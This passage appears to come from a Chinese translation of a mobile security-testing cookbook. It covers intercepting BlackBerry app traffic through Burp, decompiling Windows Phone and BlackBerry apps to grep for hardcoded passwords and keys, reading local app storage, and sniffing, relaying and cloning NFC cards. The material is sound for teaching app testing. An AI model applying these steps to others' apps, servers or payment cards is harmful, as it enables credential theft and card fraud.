部分,并通过添加以下代理配置规范行来修改此部分:application.handler.http.proxyEnabled= true application.handler.http.proxyHost= localhost application.handler.http.proxyPort= 9999
案例 2 - 黑莓 10 模拟器
假设您已经按照设置黑莓开发环境和模拟器的步骤完成了设置,您现在可以开始当前的操作:
-
搜索网络连接并在系统设置下找到网络和连接。您的模拟器屏幕应该类似于以下截图:
-
现在继续操作网络和连接,并将您的设备添加到实验室设置的可用 Wi-Fi 网络中。
-
在连接的 SSID 设置下,配置代理详细信息,如代理服务器、代理端口、用户名和密码(如适用),如以下屏幕所示:
这将通过 Wi-Fi 将模拟器连接到代理工具,您现在可以篡改应用程序流量。
案例 3 - 黑莓 10 手机
按照案例 2 中的类似步骤,在黑莓手机上进行设置,而不是模拟器。您的手机应该开始通过 HTTP 代理工具发送应用程序流量。
工作原理...
现在让我们看看拦截是如何工作的。首先,我们需要配置 Burp 代理以在 9999
端口上运行。以下截图显示了配置为在 9999
端口上运行后的界面。点击编辑按钮,修改端口号字段为 9999
,点击确定按钮后,代理监听器选项卡将如下所示:
现在黑莓模拟器和 Burp Proxy 正在工作,应用程序流量可以被捕获和编辑。通过篡改应用程序流量,可以进行各种与 Web 应用程序相关的攻击。
还有更多...
尝试不同的代理工具:
根据我们的经验,我们注意到有时某些代理工具无法处理所有移动应用流量。通常,如果应用捕获无法正常工作,切换代理工具是一个好主意。通常,Burp Suite 和 Charles Proxy 能够处理大多数类型的移动应用流量。
此外,Burp Proxy 默认的 8080
端口与 MDS 存在冲突,这就是我们在配置中使用端口 9999
的原因。使用 Charles Proxy 时,默认端口为 8888
,这意味着您默认不会遇到 MDS 冲突。
另见
从 Windows Phone 应用程序窃取数据
从存储在手机上的应用程序源代码中窃取数据是一个重要的攻击路径。OWASP 移动应用程序十大漏洞将其列为 M10:缺乏二进制保护。逆向工程移动应用程序以获取反编译的源代码,然后挖掘硬编码在应用程序中的数据,可能会导致敏感数据泄露。有时开发者会在应用程序中硬编码连接字符串、密码、密钥或访问令牌。
这个方案执行反编译以窃取 Windows Phone 应用程序中 .xap
格式的数据。
准备中
将 .dll
文件转换为 .cs
或 .vb
项目文件的工具如下所示:
-
ILSpy:ILSpy 是一个非常有用的开源工具,用于反编译和操作 .NET 应用程序。我们将使用它将 DLL 文件转换为原始的
.cs
或.vb
文件。 -
解压工具:Winrar/WinZip/7zip
Windows 市场应用程序是 数字版权管理 (DRM) 保护的,可能并不容易通过解压文件直接获取 DLL:
-
学习应用程序包的内容,并注意其中存在的
.dll
文件: -
现在使用 ILSpy 来反编译 DLL 文件并获取原始源代码。在 ILSpy 控制台中,点击 文件 菜单下的 打开,并提供要反编译的 DLL 文件路径:
-
这个过程的结果是整个应用程序的源代码(以下截图显示了其中的一部分)。现在可以在源代码中查找硬编码的机密信息,如密钥、密码、PIN 等:
它是如何工作的...
Windows Phone 编译套件将开发者的 .net 文件编译成 DLL 对象代码文件,然后将 .dll
文件转换为 .xap
文件。XAP 是 Silverlight 或 Windows Phone 兼容的应用程序。
这个方法的主要目标是获取中间的 .dll
文件,然后使用 .net
反编译器来反编译它并获取项目文件。我们在前面已经讨论了这两步:
-
分析 XAP 文件并获取 DLL。
-
使用 ILSpy 获取 DLL 文件的反编译源代码。
还有更多...
反编译后的源代码现在可以使用。接下来做什么?
使用反编译工具的搜索功能,或者将反编译后的代码提取到一个文件夹中,并使用 grep
或 find
命令。可以使用 password
、pwd
、key
、connection
、encryption
和 o-auth
等关键字在静态字符串搜索中查找敏感信息。
手动浏览文件名,这些文件可能实现了关键的业务逻辑、身份验证或加密。
尝试使用从源代码中获得的信息破解应用服务器。
混淆器被智能开发者用来让黑客和破解者的任务变得更加困难。源代码被混淆,使得反编译后的代码难以理解。
另见
- 免费的开源混淆器:
yck1509.github.io/ConfuserEx/
从 Blackberry 应用程序中窃取数据
从手机上存储的应用程序源代码中窃取数据,正如 OWASP Mobile Top 10 中识别的 M10:缺乏二进制保护,成为泄露敏感硬编码数据的来源。逆向工程移动应用程序以获取反编译后的源代码,然后挖掘应用程序中硬编码的数据。有时开发者倾向于将连接字符串、密码、密钥或访问令牌硬编码在应用程序中。
本教程将前一个教程的目标扩展到 Blackberry 平台,并尝试反编译.cod
格式的 Blackberry 应用程序。
准备工作
根据当前的操作步骤,需要以下工具进行准备:
-
Coddec:需要一个工具将
.cod
文件转换为.java
文件。我们使用了 Coddec 来完成这个工作。 -
一些
.cod
文件:我们需要一些.cod
文件格式的应用程序文件来尝试反编译。
如何操作...
执行以下步骤:
-
将所有
.cod
文件从设备复制到计算机上(这些.cod
文件可以在安装应用程序于外部 SD 卡的 Blackberry 手机的外部 SD 卡中找到)。用记事本打开这些文件并检查加密和不可读的形式: -
现在,按照以下截图提取
coddec
工具。doit.bat
文件是执行命令并进行反编译的命令: -
将
.cod
文件复制到coddec
工具文件夹中。 -
在命令行中运行
doit.bat *.cod
命令。此操作将不可读的.cod
文件转换为可读的记事本文件,并使源代码更容易解读。
它是如何工作的...
Blackberry 编译器套件将开发者的 Java 文件编译成类文件,然后将类文件转换为.cod
文件。.cod
文件与 Blackberry 的代码文件有关。这些是 Blackberry 专有的应用程序代码包格式。
为了逆向应用程序源代码,我们使用了一个叫 Coddec 的工具,它帮助我们将加密的.cod
专有代码转换为可读的代码文件。
还有更多...
一旦应用程序代码被反编译,我们就可以定位一些敏感的有用数据。让我们浏览代码内容并搜索诸如keys
、algorithm
、password
、authentication
、formula
等关键字。
在我们的案例中,我们获取了 RIM API 或库引用。虽然这可能不会直接导致破解,但它帮助我们理解移动应用程序的设计。
黑莓平台的最新版本配备了更强大的编译过程,使得获取代码引用变得更加困难。
在黑莓平台上也可以使用混淆技术来保护源代码。通过在 Blackberry JDE 中执行特定步骤可以实现此功能。请按照下面的链接进行操作。
另见
在 Windows Phone 中读取本地数据
正如我们在本书中之前学到的,移动应用通常会将数据存储在手机上。存储的数据在不同的移动平台上可能采用不同的格式,如.plist
、.sqlite
和.xml
文件。OWASP 在 M2 中识别了这一点:不安全的数据存储。在应用程序文件夹中(例如 Android 的/data/data
)进行数据挖掘可能导致敏感数据泄露。本节内容旨在为您提供如何从 Windows Phone 内存中读取本地存储数据的详细信息。
准备工作
根据当前食谱,准备工作所需的工具如下:
-
WP Power Tools:Windows Phone Power Tools 允许您与应用程序交互并执行存储分析等操作
-
应用程序的 XAP 文件:我们需要几个 XAP 文件来分析它们的存储
如何操作…
执行以下步骤:
-
从此链接安装 Windows Phone Power Tools 到 Windows 8 系统上(
wptools.codeplex.com/releases/view/97029
)。通过 USB 连接将 Windows Phone 与笔记本电脑连接。 -
安装完成后,启动 WP Power Tools 并通过连接到设备选项卡将其连接到 Windows 设备。如下图所示:
-
使用WP Power Tools,将 XAP 文件安装到 Windows 设备上,如下图所示:
-
一旦应用程序安装在设备上,浏览并退出应用程序。
-
打开 WP Power Tools 的隔离存储选项卡,右键单击应用程序名称图标。如下图所示(使用测试应用)。点击刷新以填充数据:
-
浏览名为应用程序的文件夹中的文件:
它是如何工作的…
Windows Phone Power Tools 通过安装 Windows 应用程序(.xap
文件)并分析应用程序创建的文件结构来工作。这最终会将我们引导到本地存储的数据。例如,在本食谱中提到的示例中,发现了一个 SQLite 文件,如下图所示:
由于该过程依赖于应用程序的安装,因此从 Windows Store 安装的应用程序无法通过这种方式进行分析。
还有更多内容...
作为 Windows Phone 8 SDK 的一部分,有一个名为 Isolated Storage Explorer 的工具。这个命令行工具可以读取和修改手机应用程序本地数据文件夹中的文件(这与 Android 的 ADB 工具类似)。关于 Isolated Storage Explorer 的使用信息可以在这里找到:
msdn.microsoft.com/en-in/library/windows/apps/hh286408(v=vs.105).aspx
参见
基于 NFC 的攻击
近场通信(NFC)是一种为近距离设备设计的通信机制。支持 NFC 的设备可以像蓝牙设备一样互相通信,而无需互联网。支持 NFC 的手机中配备了一种硬件芯片,使得 NFC 能够与其他设备进行通信。
一些组织已经开始使用支持 NFC 的 MiFare 卡和卡片读取器。用户的出勤和访问控制记录通过这种方式进行日志记录。这些卡片还可以用来在食堂等地方进行支付。
Google Wallet 是一个很好的例子,它可以使用 NFC 进行支付。
准备工作
要尝试基于 NFC 的黑客攻击,你需要:
-
支持 NFC 的手机
-
NFC 标签或 NFC 信用卡
-
例如 Android 手机上使用的 NFCProxy 应用程序
-
从 Play Store 下载的 NFC 应用程序,如 NFC Reader 或 Advanced NFC System
如何操作...
执行以下步骤:
-
在你的 Android 手机上安装 NFCProxy 工具和其他 NFC 应用程序(如 NFC Reader 和 Advanced NFC System)。
-
NFCProxy 可以从
sourceforge.net/projects/nfcproxy/
下载。其他工具也可以在 Play Store 中找到。 -
用运行 NFC 工具的手机触碰 NFC 标签
-
注意,在 NFC 通信范围内(不到 4 厘米),这些 NFC 应用程序可以读取存储在 NFC 标签上的数据。
-
这是使用 Advanced NFC System 时你看到的界面:
注意,你可以使用它读取、重置或配置 NFC 标签。
-
你可以使用 NFCProxy 代理 NFC 卡片读取器和支持 NFC 的卡片之间的交易数据。以下是工具显示保存的 NFC 数据的截图(由工具创作者提供):
它是如何工作的...
NFC 可以通过多种方式受到攻击。常见的 NFC 攻击包括:
-
窃听
-
数据篡改
-
数据模糊处理
窃听
NFC 的一个常见问题是缺乏加密。NFC 通信可以被恶意的近距离设备嗅探,因为加密缺失或使用了弱编码,因此传输的数据可以被获取。
如果在企业场景中,嗅探到启用 NFC 的 MiFare 卡之间的通信,那么员工 ID 以及与之唯一关联的令牌(用于记录员工考勤)等数据就会被盗取。然后,这些被盗数据可以被克隆,用来创建恶意 NFC 设备,进而绕过整个组织的访问控制。
数据篡改
NFC Proxy 是一个安卓应用程序。它可以用来在 RFID 卡和读卡器之间设置代理。通过代理模式捕获的敏感数据可以显示、重放或删除。保存的数据稍后可以用来克隆支付卡,从而创建重复的 NFC 设备。这些伪造的卡片后来将被用于欺诈交易,或者捕获的交易可以被重复多次,从而对受害者造成经济损失。
数据模糊处理
一旦我们控制了捕获的数据,它可以被篡改,也可以用长字符串进行模糊处理。这可能导致类似缓冲区溢出的攻击。
还有更多……
移动应用程序往往将数据存储在手机上。手机中较弱的 NFC 通信设置可能成为攻击者的助力。NFC 应用可能会利用手机中存储的数据进行通信。像 NFC 设备身份验证要求缺失以及 NFC 中缺少加密这样的弱设置,成了攻击者的利器。
考虑一下支付应用程序,它将信用卡信息存储在手机中,并在进行支付时显示相应的信息。在这里进行有针对性的攻击可以嗅探到在两个 NFC 设备之间交换的信用卡详细信息。
确保手机上安全地配置 NFC 是非常重要的。以下是一些安全措施:
-
在不需要时关闭 NFC
-
保持设备更新,安装最新的 NFC 补丁
-
为其他 NFC 设备配置身份验证密码,如果设备允许的话。